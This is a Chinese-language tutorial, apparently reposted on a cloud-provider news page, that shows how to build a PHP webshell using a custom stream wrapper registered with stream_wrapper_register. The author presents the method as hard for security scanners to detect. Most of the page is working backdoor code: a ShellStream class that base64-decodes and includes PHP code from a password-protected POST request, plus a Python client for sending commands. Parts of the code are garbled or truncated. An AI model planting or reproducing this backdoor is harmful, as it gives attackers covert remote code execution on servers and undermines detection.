您好,登錄后才能下訂單哦!
怎么在PHP中使用WebShell實現一個流包裝器?針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
0×00 前言
在Web安全領域WebShell的構造與查殺是永不停息的話題,這幾天發現了一種新型方式生成WebShell,隱蔽度高,目前安全查殺軟件沒法檢測到相關的后門漏洞,不同于 eval 或則 asset 等方式運行后門,對于這兩個函數禁用的情況下一樣適用,目前除了禁用相關函數還暫時沒有相關方式來避免漏洞。
0×01 后門原理
在PHP開發中,我們使用最為頻繁的指令大概就是 include 指令, include 指令中一些比較普通的文件包含漏洞我們就忽略了,先來看看一串代碼:
include 'http://www.test.com/code.php'
我們通過這一串代碼可以很容易的引用外部的PHP程序,但是前提是配置文件允許該行為被執行,先看看我的配置項
;;;;;;;;;;;;;;;;;; ; Fopen wrappers ; ;;;;;;;;;;;;;;;;;; ; Whether to allow the treatment of URLs (like http:// or ftp://) as files. ; http://php.net/allow-url-fopen allow_url_fopen =Off ; Whether to allow include/require to open URLs (like http:// or ftp://) as files. ; http://php.net/allow-url-include allow_url_include = Off
從配置文件可以看到,allow_url_include 被我關閉了,也就是包含遠程代碼是不可能執行的,但是我們這里利用了一個東西。http:// 流,我們知道,在PHP中很多東西都是可以通過流包裝器來使用的,比如常見的 php:// 流,我們可以通過 php://input 來獲取輸入流來讀取請求體的內容,那么根據這個思路,我們能不能通過流包裝器來實現代碼執行?答案是可行的 通過PHP函數 stream_wrapper_register 注冊包裝器,檢測特定的URL包裝功能,監控 include 流,在 include 流中動態生成PHP代碼,我將通過如下代碼執行一個 hello world 程序來證明這個過程
include 'hello://dxkite';
Hello Stream Wrapper 的實現
code = "position = 0; return true; } public function stream_read($count) { $ret = substr($this->code, $this->position, $count); $this->position += strlen($ret); return $ret; } public function stream_tell() { return $this->position; } public function stream_eof() { return $this->position >= strlen($this->code); } public function stream_seek($offset, $whence) { switch ($whence) { case SEEK_SET: if ($offset < strlen($this->code) && $offset >= 0) { $this->position = $offset; return true; } else { return false; } break; case SEEK_CUR: if ($offset >= 0) { $this->position += $offset; return true; } else { return false; } break; case SEEK_END: if (strlen($this->code) + $offset >= 0) { $this->position = strlen($this->code) + $offset; return true; } else { return false; } break; default: return false; } } public function stream_stat() { return stat(FILE); } } stream_wrapper_register('hello', HelloStream::class); include 'hello://dxkite';
通過如上的代碼,經過執行后,可以輸出一個 hello worldHelloWorld
0×02 后門示例
通過上述程序,我們實現了通過 include 指令直接執行 php ,并插入我們想要的效果,我們現在根據這個原理寫一個Shell:
后門程序
@link //dxkite.cn */ class ShellStream { protected $position; protected $code; public function stream_open($path, $mode, $options, &$opened_path) { $url = parse_url($path); $name = $url["host"]; $this->code = base64_decode($name); $this->position = 0; return true; } public function stream_read($count) { $ret = substr($this->code, $this->position, $count); $this->position += strlen($ret); return $ret; } public function stream_tell() { return $this->position; } public function stream_eof() { return $this->position >= strlen($this->code); } public function stream_seek($offset, $whence) { switch ($whence) { case SEEK_SET: if ($offset < strlen($this->code) && $offset >= 0) { $this->position = $offset; return true; } else { return false; } break; case SEEK_CUR: if ($offset >= 0) { $this->position += $offset; return true; } else { return false; } break; case SEEK_END: if (strlen($this->code) + $offset >= 0) { $this->position = strlen($this->code) + $offset; return true; } else { return false; } break; default: return false; } } // include public function stream_stat() { return stat(FILE); } // file exists public function url_stat(string $path,int $stat) { return stat(FILE); } public static function shell(){ stream_wrapper_register('shell', ShellStream::class); if (isset($_POST['password']) && $_POST['code']) { if ($_POST['password']=='dxkite') { $code = $_POST['code']; include 'shell://'.$code; } else { include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7'; } } } }
ShellStream::shell();
上述我實現了一個使用 $_POST 作為輸入,接收密碼和php代碼的base64并執行代碼的后門利用程序
import requests import base64 import sys def send_raw(url,password,cmd): res=requests.post(url,{ 'password':password, 'code': base64.b64encode(cmd.encode('utf-8')) }) return res.text def send_php_shell(url,password,cmd): return send_raw(url,password,'') if cmd == 'exit': break elif cmd.startswith('run'): cmd,path = cmd.split(' ',1) code = '' with open(path) as f: for line in f: code = code + line + "\r\n" response = send_raw(url,password,code); print(response) else: response = send_php_shell(url,password,cmd); print(response)
我們把我們的 shell.php 部署到服務器上,執行測試 shell.py :
php-shell.png
其中,test.php 的內容為:
<?php include 'PD9waHAgZWNobyAiaGVsbG8gc2hlbGxcclxuIjs'; echo 'hello, shell world';
關于怎么在PHP中使用WebShell實現一個流包裝器問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。